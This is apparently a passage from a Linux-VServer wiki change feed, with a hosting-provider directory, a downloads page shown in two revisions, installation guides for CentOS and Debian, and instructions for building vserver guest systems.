* We use it on our hosting servers to provide an extra layer of security for our customers.<br />
* We do not provide full vservers, we only provide 'standard' webhosting facilities.<br />
|-<br />
|<br />
|-<br />
! [http://www.isp4p.net ISP4P]<br />
| rowspan=2 |<br />
* see also http://www.isp4player.net<br />
* Allround ISP 4 Professionals<br />
* Dedicated Server, Tower Housing, 19" Housing, Webhosting, vServer, vServer Reselling, Domains<br />
|-<br />
|<br />
|-<br />
! [http://www.rootbash.com Nauck IT KG]<br />
(rootbash.com)<br />
| rowspan=2 |<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.star-hosting.de Star-Hosting]<br />
| rowspan=2 |<br />
* see also http://www.vserver4free.de<br />
* Get dedicated Servers, vServers and many more services with a very high traffic-contingent!!<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.planet-lab.org/ PlanetLab]<br />
| rowspan=2 |<br />
* PlanetLab is an open, globally distributed platform for developing, deploying and accessing planetary-scale network services.<br />
* PlanetLab nodes support both short-term experiments and long-running network services.<br />
* To date, more than 200 research projects at top academic institutions have used PlanetLab to experiment with such diverse topics as distributed storage, network mapping, peer-to-peer systems, distributed hash tables, and distributed query processing. See http://www.planet-lab.org/ for more details.<br />
|-<br />
|<br />
|-<br />
! [http://www.dsvr.co.uk/ Designer Servers Ltd]<br />
| rowspan=2 |<br />
* Offering effective Linux vserver-protected hosting to web professionals in the UK and beyond.<br />
|-<br />
| United Kingdom<br />
|-<br />
! [http://www.rosehosting.com Rose Web Services L.L.C.]<br />
| rowspan=2 |<br />
* Founded in April 2001, located in St. Louis, Missouri, USA, Rose Hosting provides all kinds of hosting solutions, including [http://www.rosehosting.com Linux VPS Hosting], based on Linux-VServer Technology.<br />
|-<br />
| USA<br />
|-<br />
! [http://sandino.net/ Sandino Networks]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Dual core servers hardened with GR Security <br />
* Choice of different operating systems: Gentoo, CentOS, Debian, Ubuntu, Slackware, Fedora....<br />
* Choice of different vserver sizes<br />
|-<br />
| México<br />
|-<br />
! [http://www.turnkeyinternet.net TurnKeyInternet.NET]<br />
| rowspan=2 |<br />
* Coast to Coast Datacenter replicated Linux Virtual Private Server packages that are fully mirrored providing 100% uptime.<br />
* Packages include fully managed service and support.<br />
|-<br />
|<br />
|-<br />
! [http://www.smart-weblications.de Smart Weblications GmbH]<br />
| rowspan=2 |<br />
* vservers with RAID1 host systems<br />
* multihomed location in germany with 2x 1 Gbit uplink and 2x 100MBit backup.<br />
* Starting from 3.90 EUR / month for a 2 GB disk, 10 GB traffic vserver with 1 IP<br />
* this ISP also offers a large variety of dedicated servers and also offers server homing.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.cityservers.net/ CityServers.Net]<br />
Dedicated Servers<br />
| rowspan=2 |<br />
* Offering dedicated servers and economic Fedora vServers hosting to IT professionals in the EU.<br />
* Packages include fully managed service and support.<br />
|-<br />
| Poland<br />
|-<br />
! [http://www.vps2go.com/ VPS2GO]<br />
| rowspan=2 |<br />
* Currenly using the stable version but will be upgraded to new 2.6 kernel + vs2.0 soon. <br />
|-<br />
| Japan<br />
|-<br />
! [http://www.net-lab.net net-lab] <br />
vserver/web-hosting<br />
| rowspan=2 |<br />
* Currently run our first testing host on kernel 2.6 + vs2.0 is running. Server Location: Frankfurt, near DE-CIX.<br />
* Commercial offer for vserver accounts soon available.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.stepping-stone.ch stepping stone GmbH]<br />
| rowspan=2 |<br />
* Our whole ISP infrastructure (Mail, Web, Directories, ...) is built upon the 2.0 vServer series on the 2.6 Linux kernel, running Gentoo Linux.<br />
* We provide [http://www.stepping-stone.ch/en/products/vserver/linux-vserver/ Gentoo and Debian vServers].<br />
* iptables/netfilter rules are implemented free of charge on the carrier as part of our service.<br />
* As a speciality, you can run [http://www.asterisk.org/ Asterisk] in our vServers! <br />
* Furthermore we're specialized in providing high availability solutions in combination with [[Welcome_to_Linux-VServer.org|Linux VServer]] and [http://www.drbd.org/ DRBD].<br />
|-<br />
| Switzerland<br />
|-<br />
! [http://www.vroutix.com vRoutix]<br />
| rowspan=2 |<br />
* Offering kernel 2.6 Vservers in Argentina. Compaq Xeon/Sun Ultrasparc Servers (with Raid1).<br />
* Very affordable prices.<br />
* Starter: Very low price !<br />
* Lite: Low end users<br />
* Standard: small bussiness<br />
* Pro: mid-size bussiness<br />
* Control panel to monitor your vServer performance, processes, storage, traffic, account data, etc.<br />
* vServers demo accounts for Free. Try out one of our vServers !!!.<br />
* Now with iptables support inside your vServer !!!<br />
|-<br />
| Argentina<br />
|-<br />
! [http://www.mpexnetworks.de MPeXnetworks] <br />
MPeX.net GmbH<br />
| rowspan=2 |<br />
* High performance virtual servers on RAID1 Hosts<br />
* Leistungsfähige virtuelle Server für Ihr Unternehmen.<br />
* MPeXnetworks is offering three vserver packets.<br />
* Our systems have a low customer density, resulting in more power for everyone.<br />
* Nagios monitoring and free e-mail notification is included.<br />
* All VServer offers include a 30 day money-back-guarantee.<br />
|-<br />
| Berlin/Germany<br />
|-<br />
! [http://www.sentiensystems.com SentienSystems]<br />
| rowspan=2 |<br />
* High performance, quality, and secure Virtual Private Servers<br />
* SentienSystems(.com/.net) proudly utilizes and promotes open source software such as Linux-VServer on the secure and performance-intensive Gentoo Linux platform.<br />
|-<br />
| Austin, Texas, USA<br />
|-<br />
! [http://new.pipni.cz/vindex.phtml PIPNI s.r.o]<br />
| rowspan=2 |<br />
* Linux 2.6 Vservers on Intel Xeon platform<br />
* Providing free and payed vServer hosting. Freehosting has no guarantee, payed are guaranted.<br />
* You can select from Slackware, Gentoo or Debian hosting.<br />
* Freehosting specs: 333 MHz CPU, 128 MB RAM, 2 GB HDD space, 10 GB traffic.<br />
|-<br />
| Czech Republic<br />
|-<br />
! [http://www.croup.de croup.de]<br />
crossmedia solutions<br />
| rowspan=2 |<br />
* We provide individual VServer installations for our customers in Germany using Gentoo Linux.<br />
|-<br />
| Germany<br />
|-<br />
! [http://hosting.media72.co.uk Media72 hosting]<br />
| rowspan=2 |<br />
* Red Hat Enterprise Linux solutions<br />
* We provide custom hosting solutions starting from £2.08 a year. Virus and spam protection as standard on all accounts.<br />
<br />
|-<br />
| United Kingdom<br />
|-<br />
! [http://www.xcompetence.dk Xcompetence]<br />
Hosting<br />
| rowspan=2 |<br />
* Debian (/Ubuntu) Hosting løsninger<br />
* Vi tilbyder komplette serverløsninger. Alle konti har firewall samt virus og spam beskyttelse.<br />
<br />
|-<br />
| Danmark - Sverige.<br />
|-<br />
! [http://www.centrodedatos.com Centrodedatos]<br />
Dedicated Servers / Colocation / Housing<br />
| rowspan=2 |<br />
* Dedicated Servers and Server Clusters based on Linux VServer. Totally personalized solutions.<br />
* Servidores Dedicados y Clusters de Servidores basados en Linux VServer. Soluciones a medida.<br />
<br />
|-<br />
| Spain - Barcelona.<br />
|-<br />
! [http://www.condalis.es Condalis]<br />
VPS and Shared Hosting<br />
| rowspan=2 |<br />
* Centos, Debian, Fedora, Gentoo, Mandrake, Redhat, Slackware, Suse, Ubuntu in your VPS Linux-VServer to web professionals in Spain.<br />
* Centos 5 + WHM/Cpanel + RVSkin + Fantastico available for Hosting resellers!<br />
<br />
|-<br />
| Spain - Barcelona.<br />
|-<br />
! [http://www.upfrontsystems.co.za/hosting/ploneserver Upfront Systems]<br />
| rowspan="2" |<br />
* Servers in Germany and South Africa<br />
* Debian stable hosts based on linux vserver<br />
* Dedicated (but not limited to) Zope and Plone hosting<br />
<br />
|-<br />
| Germany - Berlin.<br />
|-<br />
! [http://www.notjusthosting.com NotJustHosting]<br />
NotJustHosting<br />
| rowspan="2" |<br />
* Servers in Germany<br />
* Debian stable hosts based on linux vserver, individual solutions<br />
* Fully managed and self-managed packages<br />
<br />
|-<br />
| South Africa<br />
|-<br />
<br />
<br />
|}</div>Daniel hozachttp://svn.linux-vserver.org/Installation_on_CentOSInstallation on CentOS2008-05-30T12:54:21Z<p>Daniel hozac: chkconfig vservers-default on</p>
<hr />
<div>== Install CentOS 5 ==<br />
<br />
My CentOS 5 installation is a DVD install with only the "Desktop - GNOME" group selected.<br />
<br />
On restart, a number of questions (timezone/security level/etc) are asked. At this stage set the "SELinux" option to disabled. If you skip this step, then simply modify the /etc/sysconfig/selinux file and disable selinux from there. You will need to reboot before this takes effect, but it's okay to wait until you have installed the kernel before doing this (just to save some time :)).<br />
<br />
== Add the repository ==<br />
<br />
In order to install the necessary packages, you will have to add the repository containing them to your yum configuration. Paste the following in /etc/yum.repos.d/dhozac-vserver.repo<br />
[dhozac-vserver]<br />
name=Linux-VServer related packages for CentOS $releasever - $basearch<br />
baseurl=http://rpm.hozac.com/dhozac/centos/$releasever/vserver/$basearch<br />
gpgkey=http://rpm.hozac.com/conf/keys/RPM-DHOZAC-GPG-KEY<br />
<br />
== Update yum ==<br />
<br />
Before you do anything else, update yum. If you don't, you'll have to sit through lots of "you're using a knackered version of yum. Wait 5 seconds" messages.<br />
yum update yum<br />
Which should pick the version from the dhozac repository.<br />
<br />
== Install the kernel ==<br />
<br />
To install the kernel, run<br />
yum install kernel<br />
<br />
Double check the grub file to make sure it is the bootable kernel (/boot/grub/grub.conf). If all is okay we are ready to restart the server.<br />
<br />
At this stage (before the reboot) I also modify the host's sshd_config file, so it doesn't listen to every interface on the server, which would block any guest's attempt to run sshd.<br />
<br />
vi /etc/ssh/sshd_config<br />
<br />
and add the line "<code>ListenAddress <host IP address></code>".<br />
<br />
== Install util-vserver ==<br />
<br />
To install util-vserver, run<br />
yum install util-vserver{,-core,-lib,-sysv,-build}<br />
<br />
== Post installation steps ==<br />
<br />
Make certain /proc entries visible.<br />
<br />
/etc/init.d/vprocunhide start<br />
<br />
Enable the vservers-default initscript, so that guests marked default are started on boot.<br />
<br />
chkconfig vservers-default on<br />
<br />
== All done! ==<br />
Once your host is setup, you can start [[Building Guest Systems|building guest systems]].</div>Daniel hozachttp://svn.linux-vserver.org/DownloadsDownloads2008-05-25T04:04:52Z<p>Daniel hozac: Reverted edits by 93.80.24.40 (Talk); changed back to last version by Daniel hozac</p>
<hr />
<div>{{NeedCompletion}}<br />
<br />
== Kernel Patches ==<br />
<br />
The Linux- VServer project maintains several branches of the kernel patch. Since version 1.00 the versioning is similar to the kernel versioning scheme. Even numbered releases (a.X.z with even X) are stable, reasonably well tested and expected not to change feature-wise. Odd numbered (a.Y.z with odd Y) releases are development releases. The last digit/number (z) is a subversion identifier. Experimental versions and Release Candidates might add a fourth identifier to that scheme.<br />
<br />
Basically the stable and development releases should be similar in functionality, but the development releases will include features and enhancements not present in the stable branch. Once those features mature (and get well tested), they will be incorporated by the stable branch.<br />
<br />
For example the first stable release (1.00) uses two systemcalls as the previous releases did. However, the vserver system calls have been changed in the first development release (1.1.0). Linus assigned the vserver project a single system call, so a [[System Call Switch]] has been implemented. Running a development release usually requires using recent (latest) tools from the util-vserver development branch.<br />
<br />
1.X.z and 1.Y.z releases are for the 2.4 kernels, while 1.9.x (obsoleted by now) and 2.X.y releases are for the 2.6 series.<br />
<br />
{{CurrentPatchTableMatrix}}<br />
<br />
All (previous) downloads are available in the [[Archives]]. Also take a look at the [[ChangeLogs]].<br />
<br />
For an overview of available Features in each version take a look at [[Feature Matrix]]<br />
<br />
Precompiled kernel packages are available for [http://packages.debian.org/search?keywords=linux+image+vserver+&searchon=names&suite=all&section=all debian]<br />
<br />
== Userspace Utilities ==<br />
<br />
In order to administrate your virtual private servers you need a set of userspace utilities. The following gives an overview of possible choices. For detailed instructions visit the respective project pages.<br />
<br />
=== util-vserver ===<br />
<br />
Created by Enrico Scholz util-vserver is the current "official" userspace implementation. Many distributions have added binary packages for util-vserver to their repositories.<br />
<br />
{| class="wikitable" style="width: 60%;"<br />
| The current version of util-vserver is:<br />
| style="width: 20%;" | [http://ftp.linux-vserver.org/pub/utils/util-vserver/util-vserver-0.30.215.tar.bz2 0.30.215]<br />
|}<br />
<br />
* [https://savannah.nongnu.org/projects/util-vserver/ util-vserver project homepage]<br />
<br />
=== VServer Control Daemon ===<br />
<br />
Being still in development the VServer Control Daemon is another approach for virtual private server management. The concept is based on a client/server architecture using XMLRPC. Currently there are no releases, i.e. source code has to be obtained from SVN.<br />
<br />
{| class="wikitable" style="width: 60%;"<br />
| The current version of the VServer Control Daemon is:<br />
| style="width: 20%;" | [http://svn.linux-vserver.org/svn/vcd SVN trunk]<br />
|}<br />
<br />
* [http://dev.croup.de/proj/vserver-utils/browser/trunk/doc/vcd.spec?format=raw VCD specification]<br />
<br />
=== Testme.sh script ===<br />
<br />
Useful for debugging linux-vserver problems.<br />
<br />
* [http://vserver.13thfloor.at/Stuff/SCRIPT/testme.sh testme.sh]<br />
<br />
=== Ancient vserver tools ===<br />
<br />
Although not used much anymore the old tools by Jacques Gelinas are said to still work on current kernels.<br />
<br />
{| class="wikitable" style="width: 60%;"<br />
| The current version of the vserver tools is:<br />
| style="width: 20%;" | [ftp://ftp.solucorp.qc.ca/pub/vserver/vserver-0.40.src.tar.gz 0.40]<br />
|}<br />
<br />
* [http://www.solucorp.qc.ca/miscprj/s_context.hc vserver tools project homepage]<br />
<br />
== Guest images ==<br />
<br />
Below is a list of third-party archives for VPS images<br />
<br />
* http://mirrors.sandino.net/vserver/images/<br />
* http://debian.marlow.dk/vserver/guest/<br />
* http://lylix.net/vps+templates/func,select/id,1/<br />
* http://distfiles.gentoo.org/experimental/x86/vserver/<br />
* http://distfiles.gentoo.org/experimental/amd64/vserver/<br />
<br />
== Chroot repositories ==<br />
<br />
A collection of chroot trees suitable to bootstrap a vserver or to use with chroot<br />
<br />
* http://packaging-farm.dachary.org/packaging-farm/ and rsync://packaging-farm.dachary.org/packaging-farm/<br />
<br />
== 3rd-party applications ==<br />
<br />
A collection of applications that support Linux-Vservers<br />
<br />
* [http://munin.projects.linpro.no/ munin]: [http://muninexchange.projects.linpro.no/?search=&cid=32&os%5B4%5D=on&os%5B7%5D=on&os%5B3%5D=on&os%5B2%5D=on&os%5B5%5D=on&os%5B8%5D=on&os%5B1%5D=on&os%5B6%5D=on plugins]<br />
* [http://dev.riseup.net/backupninja backupninja]<br />
* [http://puppet.reductivelabs.com puppet]: [http://git.black.co.at/?p=manifests.git;a=shortlog;h=virtual virtual module]</div>Daniel hozachttp://svn.linux-vserver.org/DownloadsDownloads2008-05-23T03:38:46Z<p>Daniel hozac: Reverted edits by 58.97.1.24 (Talk); changed back to last version by Daniel hozac</p>
<hr />
<div>{{NeedCompletion}}<br />
<br />
== Kernel Patches ==<br />
<br />
The Linux- VServer project maintains several branches of the kernel patch. Since version 1.00 the versioning is similar to the kernel versioning scheme. Even numbered releases (a.X.z with even X) are stable, reasonably well tested and expected not to change feature-wise. Odd numbered (a.Y.z with odd Y) releases are development releases. The last digit/number (z) is a subversion identifier. Experimental versions and Release Candidates might add a fourth identifier to that scheme.<br />
<br />
Basically the stable and development releases should be similar in functionality, but the development releases will include features and enhancements not present in the stable branch. Once those features mature (and get well tested), they will be incorporated by the stable branch.<br />
<br />
For example the first stable release (1.00) uses two systemcalls as the previous releases did. However, the vserver system calls have been changed in the first development release (1.1.0). Linus assigned the vserver project a single system call, so a [[System Call Switch]] has been implemented. Running a development release usually requires using recent (latest) tools from the util-vserver development branch.<br />
<br />
1.X.z and 1.Y.z releases are for the 2.4 kernels, while 1.9.x (obsoleted by now) and 2.X.y releases are for the 2.6 series.<br />
<br />
{{CurrentPatchTableMatrix}}<br />
<br />
All (previous) downloads are available in the [[Archives]]. Also take a look at the [[ChangeLogs]].<br />
<br />
For an overview of available Features in each version take a look at [[Feature Matrix]]<br />
<br />
Precompiled kernel packages are available for [http://packages.debian.org/search?keywords=linux+image+vserver+&searchon=names&suite=all&section=all debian]<br />
<br />
== Userspace Utilities ==<br />
<br />
In order to administrate your virtual private servers you need a set of userspace utilities. The following gives an overview of possible choices. For detailed instructions visit the respective project pages.<br />
<br />
=== util-vserver ===<br />
<br />
Created by Enrico Scholz util-vserver is the current "official" userspace implementation. Many distributions have added binary packages for util-vserver to their repositories.<br />
<br />
{| class="wikitable" style="width: 60%;"<br />
| The current version of util-vserver is:<br />
| style="width: 20%;" | [http://ftp.linux-vserver.org/pub/utils/util-vserver/util-vserver-0.30.215.tar.bz2 0.30.215]<br />
|}<br />
<br />
* [https://savannah.nongnu.org/projects/util-vserver/ util-vserver project homepage]<br />
<br />
=== VServer Control Daemon ===<br />
<br />
Being still in development the VServer Control Daemon is another approach for virtual private server management. The concept is based on a client/server architecture using XMLRPC. Currently there are no releases, i.e. source code has to be obtained from SVN.<br />
<br />
{| class="wikitable" style="width: 60%;"<br />
| The current version of the VServer Control Daemon is:<br />
| style="width: 20%;" | [http://svn.linux-vserver.org/svn/vcd SVN trunk]<br />
|}<br />
<br />
* [http://dev.croup.de/proj/vserver-utils/browser/trunk/doc/vcd.spec?format=raw VCD specification]<br />
<br />
=== Testme.sh script ===<br />
<br />
Useful for debugging linux-vserver problems.<br />
<br />
* [http://vserver.13thfloor.at/Stuff/SCRIPT/testme.sh testme.sh]<br />
<br />
=== Ancient vserver tools ===<br />
<br />
Although not used much anymore the old tools by Jacques Gelinas are said to still work on current kernels.<br />
<br />
{| class="wikitable" style="width: 60%;"<br />
| The current version of the vserver tools is:<br />
| style="width: 20%;" | [ftp://ftp.solucorp.qc.ca/pub/vserver/vserver-0.40.src.tar.gz 0.40]<br />
|}<br />
<br />
* [http://www.solucorp.qc.ca/miscprj/s_context.hc vserver tools project homepage]<br />
<br />
== Guest images ==<br />
<br />
Below is a list of third-party archives for VPS images<br />
<br />
* http://mirrors.sandino.net/vserver/images/<br />
* http://debian.marlow.dk/vserver/guest/<br />
* http://lylix.net/vps+templates/func,select/id,1/<br />
* http://distfiles.gentoo.org/experimental/x86/vserver/<br />
* http://distfiles.gentoo.org/experimental/amd64/vserver/<br />
<br />
== Chroot repositories ==<br />
<br />
A collection of chroot trees suitable to bootstrap a vserver or to use with chroot<br />
<br />
* http://packaging-farm.dachary.org/packaging-farm/ and rsync://packaging-farm.dachary.org/packaging-farm/<br />
<br />
== 3rd-party applications ==<br />
<br />
A collection of applications that support Linux-Vservers<br />
<br />
* [http://munin.projects.linpro.no/ munin]: [http://muninexchange.projects.linpro.no/?search=&cid=32&os%5B4%5D=on&os%5B7%5D=on&os%5B3%5D=on&os%5B2%5D=on&os%5B5%5D=on&os%5B8%5D=on&os%5B1%5D=on&os%5B6%5D=on plugins]<br />
* [http://dev.riseup.net/backupninja backupninja]<br />
* [http://puppet.reductivelabs.com puppet]: [http://git.black.co.at/?p=manifests.git;a=shortlog;h=virtual virtual module]</div>Daniel hozachttp://svn.linux-vserver.org/Installation_on_CentOSInstallation on CentOS2008-05-16T16:42:59Z<p>Daniel hozac: doesn't belong here + site-specific + just wrong</p>
<hr />
<div>== Install CentOS 5 ==<br />
<br />
My CentOS 5 installation is a DVD install with only the "Desktop - GNOME" group selected.<br />
<br />
On restart, a number of questions (timezone/security level/etc) are asked. At this stage set the "SELinux" option to disabled. If you skip this step, then simply modify the /etc/sysconfig/selinux file and disable selinux from there. You will need to reboot before this takes effect, but it's okay to wait until you have installed the kernel before doing this (just to save some time :)).<br />
<br />
== Add the repository ==<br />
<br />
In order to install the necessary packages, you will have to add the repository containing them to your yum configuration. Paste the following in /etc/yum.repos.d/dhozac-vserver.repo<br />
[dhozac-vserver]<br />
name=Linux-VServer related packages for CentOS $releasever - $basearch<br />
baseurl=http://rpm.hozac.com/dhozac/centos/$releasever/vserver/$basearch<br />
gpgkey=http://rpm.hozac.com/conf/keys/RPM-DHOZAC-GPG-KEY<br />
<br />
== Update yum ==<br />
<br />
Before you do anything else, update yum. If you don't, you'll have to sit through lots of "you're using a knackered version of yum. Wait 5 seconds" messages.<br />
yum update yum<br />
Which should pick the version from the dhozac repository.<br />
<br />
== Install the kernel ==<br />
<br />
To install the kernel, run<br />
yum install kernel<br />
<br />
Double check the grub file to make sure it is the bootable kernel (/boot/grub/grub.conf). If all is okay we are ready to restart the server.<br />
<br />
At this stage (before the reboot) I also modify the host's sshd_config file, so it doesn't listen to every interface on the server, which would block any guest's attempt to run sshd.<br />
<br />
vi /etc/ssh/sshd_config<br />
<br />
and add the line "<code>ListenAddress <host IP address></code>".<br />
<br />
== Install util-vserver ==<br />
<br />
To install util-vserver, run<br />
yum install util-vserver{,-core,-lib,-sysv,-build}<br />
<br />
== Post installation steps ==<br />
<br />
Make certain /proc entries visible<br />
<br />
/etc/init.d/vprocunhide start<br />
<br />
== All done! ==<br />
Once your host is setup, you can start [[Building Guest Systems|building guest systems]].</div>Daniel hozachttp://svn.linux-vserver.org/DocumentationDocumentation2008-05-07T01:10:01Z<p>Daniel hozac: link to building guest systems, move some stuff around</p>
<hr />
<div><div style="margin: 2em auto 2em auto; padding: 10px; background-color: #F9ECCD; border: 1px solid #004433; text-align: center;"><br />
[[Image:Icon-Caution.png|left]]<br />
We are currently migrating to MediaWiki from our old system, but not all content has been migrated yet. Take a look at the [[Wiki Team]] page for instructions how to help or look at the [http://oldwiki.linux-vserver.org old wiki] to find the information not migrated yet.<br />
<br />
'''To ease migration we created a [[List of old Documentation pages]].'''<br />
</div><br />
<br />
== Introduction ==<br />
<br />
* [[Overview|Virtualization Overview]]<br />
* [[Usage Scenarios]]<br />
* [[Feature Matrix]]<br />
<br />
== Installation ==<br />
<br />
* [[Installation Considerations]]<br />
* [[Installation on Linux 2.6]]<br />
* [[Installation on ArchLinux]]<br />
* [[Installation on CentOS]]<br />
* [[Installation on Debian]]<br />
* [[Installation on Fedora]]<br />
* [[Installation on Gentoo]]<br />
* [[Installation on Mandrake]]<br />
* [http://pld-linux.org/Vserver Installation on PLD-Linux]<br />
* [[Installation on Redhat]]<br />
* [[Installation on Slackware]]<br />
* [[Installation on SuSE/OpenSUSE]]<br />
* [[Installation on Ubuntu]]<br />
<br />
== Configuration ==<br />
<br />
* [[util-vserver:Documentation|util-vserver Documentation]]<br />
* [[vcd:Documentation|VServer Control Daemon Documentation]]<br />
* [[Share a directory among multiple guests]]<br />
<br />
== Guides and Howtos ==<br />
<br />
* [[Building Guest Systems]]<br />
* [[util-vserver:Howto virtualize an exisiting Linux server|Howto virtualize an existing Linux server]]<br />
* [[VCMD HowTo]]<br />
* [[Howto make bsd-style init sysv-compatible|Howto make Bsd-style init sysv-compatible (archlinux guest system)]]<br />
* [[Installing 32-bit Fedora on 64-bit Debian]]<br />
* [[Installing Ubuntu on Debian]]<br />
* [[Installing an openSUSE vserver guest]]<br />
* [[Networking vserver guests]]<br />
* [[Howto HostAuth]]<br />
* [[yum-patch|How to patch vyum]]<br />
* [[yum-upgrade-3.2.4|Upgrading existing installations to yum-3.2.4]]<br />
<br />
== Lists &amp; Theory ==<br />
<br />
* Basic configuration<br />
** [[Capabilities and Flags]]<br />
** [[CPU Scheduler]]<br />
** [[Disk Limits and Quota]]<br />
** [[Resource Limits]]<br />
*** [[Memory Limits]]<br />
** [[Virtual System Information]]<br />
** [[Unification]]<br />
<br />
* Security Considerations<br />
** [[Secure Capabilities]]<br />
** [[Secure chroot Barrier]]<br />
** [[Secure Device Nodes]]<br />
** [[Secure ProcFS Entries]]<br />
<br />
* Performance and Stability<br />
** [[Virtualization Overhead]]<br />
<br />
* Implementation Details<br />
** [[Context Accounting]]<br />
** [[Filesystem Attributes]]<br />
** [[Filesystem Tagging]]<br />
** [[Filesystem Namespaces]]<br />
** [[Kernel Userspace Helper]]<br />
** [[Mainline Kernel Virtualization]]<br />
** [[ProcFS]]<br />
** [[Syscall Command Switch]]<br />
<br />
== External Resources ==</div>Daniel hozachttp://svn.linux-vserver.org/Installation_on_DebianInstallation on Debian2008-05-07T00:58:59Z<p>Daniel hozac: link to building guest systems</p>
<hr />
<div>This guide is written against Debian Etch (4.0). This release includes kernel '''linux-image-vserver-686''', so no manual patching is needed. Hence, Installation on Debian Etch is pretty easy and straightforward.<br />
<br />
If you need to compile your own kernel, you need to apply the vserver-version.patch. [http://www.kwu.hu/blog.php Details at 2007/Apr/25]<br />
<br />
== Packages installation ==<br />
The packages required by Linux-VServer are:<br />
* '''linux-image-vserver-686''' - This is the current kernel<br />
* '''util-vserver''' - These are the utilities used to administer the guests<br />
* '''ssh''' - This is probably already installed, but just in case it isn't<br />
<br />
All the packages you need can be obtained via<br />
<pre>apt-get install linux-image-vserver-686 util-vserver ssh</pre><br />
so run this as ''root'' and reboot.<br />
To check out wherever everything went fine you may run<br />
<pre>uname -r</pre><br />
and check that kernel version is something like '''2.6.18-4-vserver-686'''. That's it.<br />
<br />
Now that the host system is ready, you can proceed with [[Building Guest Systems|building guests]].<br />
<br />
== References ==<br />
* Linux-VServer HOWTO by Daniel15: http://howtoforge.com/linux_vserver_debian_etch</div>Daniel hozachttp://svn.linux-vserver.org/Building_Guest_SystemsBuilding Guest Systems2008-05-07T00:57:05Z<p>Daniel hozac: typos</p>
<hr />
<div>== Building a guest ==<br />
<br />
There are three parts to the <code>vserver ... build</code> command. Each part is separated by <code>--</code>. The first part are generic vserver options, such as hostname, available IP-addresses, and context id. The second part is specific to the chosen build method (by <code>-m <method></code> in the first part). The third part is completely optional and only implemented for a few build methods. These are options passed directly to whatever application is used to build guest.<br />
<br />
There are a lot of options not covered here (yet). Use <code>vserver - build --help</code> to see them all.<br />
<br />
=== Building guests using the debootstrap build method ===<br />
<br />
* Build a Debian lenny guest using the ftp.de.debian.org mirror.<br />
vserver vserver1 build -m debootstrap --hostname vserver1.mydomain.com --interface eth0:192.168.1.10/24 -- -d lenny -m http://ftp.de.debian.org/debian<br />
lenny can be replaced by e.g. etch for Debian etch, edgy for Ubuntu edgy, or sid for Debian sid. Anything your debootstrap version can handle will be fine.<br />
<br />
If you want to build a 32-bit guest on a 64-bit host, append <code>-- --arch i386</code> to the above command line.<br />
<br />
=== Building guests using the yum build method ===<br />
<br />
* Make sure that your host system already has yum installed, preferably one that has been patched to work better with chroots.<br />
<br />
* Build a CentOS 5-based guest using a minimal set of packages.<br />
vserver vserver2 build -m yum --hostname vserver2.mydomain.com --interface eth0:192.168.1.11/24 -- -d centos5<br />
centos5 can be replaced by e.g. f8 for Fedora 8, or fc6 for Fedora 6.<br />
<br />
If you want to build a 32-bit guest on a 64-bit, prepend <code>linux32</code> to this and subsequent yum commands.<br />
<br />
* If you want to manage the packages inside the guest, you will have to install some package management program(s) as well as internalize the RPM database. This can be achieved by<br />
vyum vserver2 -- install yum<br />
vserver vserver2 pkgmgmt internalize<br />
Internal package management means that commands such as rpm, yum and rpmbuild can be used from inside the guest, as opposed to requiring the host administrator to run vrpm or vyum. If you use rpmbuild, you'll need internal package management, or use --nodeps (but that's ''strongly'' discouraged).<br />
<br />
* Depending on your host's/guest's distribution, you may also need to do<br />
vserver vserver2 exec bash -c "rm -f /var/lib/rpm/__db*; rpm --rebuilddb"<br />
This is required if every rpm operation, for example ''rpm -qa'', complains about a database version mismatch.<br />
<br />
=== Building guests using the template build method ===<br />
<br />
A template is a file containing a complete guest filesystem. This can be a tar(1)ball, a cpio(1)-archive, or a dump(8). It can be compressed using either gzip or bzip2. Multiple templates can be used, to do e.g. guest-specific modifications.<br />
<br />
* Build a guest using a single template named stage4-i686-20070905.tar.bz2 located in /vservers/.templates.<br />
vserver vserver3 build -m template --hostname vserver3.mydomain.com --interface eth0:192.168.1.12/24 -- -d gentoo -t /vservers/.templates/stage4-i686-20070905.tar.bz2<br />
<br />
'''OR'''<br />
<br />
* Build a guest using multiple templates, one named stage4-i686-20070905.tar.bz2 and one named httpd.tar.bz2.<br />
vserver vserver3 build -m template --hostname vserver3.mydomain.com --interface eth0:192.168.1.12/24 -- -d gentoo -t /vservers/.templates/stage4-i686-20070905.tar.bz2 -t /vservers/.templates/httpd.tar.bz2<br />
<br />
=== Building guests using the rsync build method ===<br />
<br />
The rsync build method can be used to move a guest from one system to another. It is preferable for most guest distributions if the source guest is stopped when you create a one based on it, but it's not strictly required.<br />
<br />
* Build a guest by rsync'ing from vserver3 on host1.<br />
RSYNC_RSH=ssh vserver vserver4 build -m rsync --hostname vserver4.mydomain.com --interface eth0:192.168.1.13/24 -- --source root@host1:/vservers/vserver3<br />
<br />
'''OR'''<br />
<br />
* Build a guest by rsync'ing from vserver1 on the same host.<br />
vserver vserver4 build -m rsync --hostname vserver4.mydomain.com --interface eth0:192.168.1.13/24 -- --source vserver1<br />
<br />
=== Building guests using the clone build method ===<br />
<br />
The clone build method copies the filesystem from one guest to another, much like the rsync build method, but the thing that separates it is that it knows about unified/hashified files. This means that it only creates new links for such files, and copies the rest, which can lead to significantly speedier builds.<br />
<br />
* Build a guest by using vserver4 as a reference.<br />
vserver vserver5 build -m clone --hostname vserver5.mydomain.com --interface eth0:192.168.1.14/24 -- --source /vservers/vserver4<br />
<br />
== Post-build customization ==<br />
<br />
== Verifying guest functionality ==<br />
<br />
* Once the guest is built, it's time to start it.<br />
vserver vserverX start<br />
<br />
* At this point, you can use both<br />
vserver vserverX enter<br />
and<br />
vserver vserverX exec ...<br />
to do things inside the guest.<br />
<br />
* To stop it, simply use<br />
vserver vserverX stop</div>Daniel hozachttp://svn.linux-vserver.org/Building_Guest_SystemsBuilding Guest Systems2008-05-07T00:55:47Z<p>Daniel hozac: 32-bit on 64-bit hints</p>
<hr />
<div>== Building a guest ==<br />
<br />
There are three parts to the <code>vserver ... build</code> command. Each part is separate by <code>--</code>. The first part are generic vserver options, such as hostname, available IP-addresses, and context id. The second part is specific to the chosen build method (chosen using <code>-m <method></code> in the first part). The third part is completely optional and only implemented for a few build methods. These are options passed directly to whatever application is used to build guest.<br />
<br />
There are a lot of options not covered here (yet). Use <code>vserver - build --help</code> to see them all.<br />
<br />
=== Building guests using the debootstrap build method ===<br />
<br />
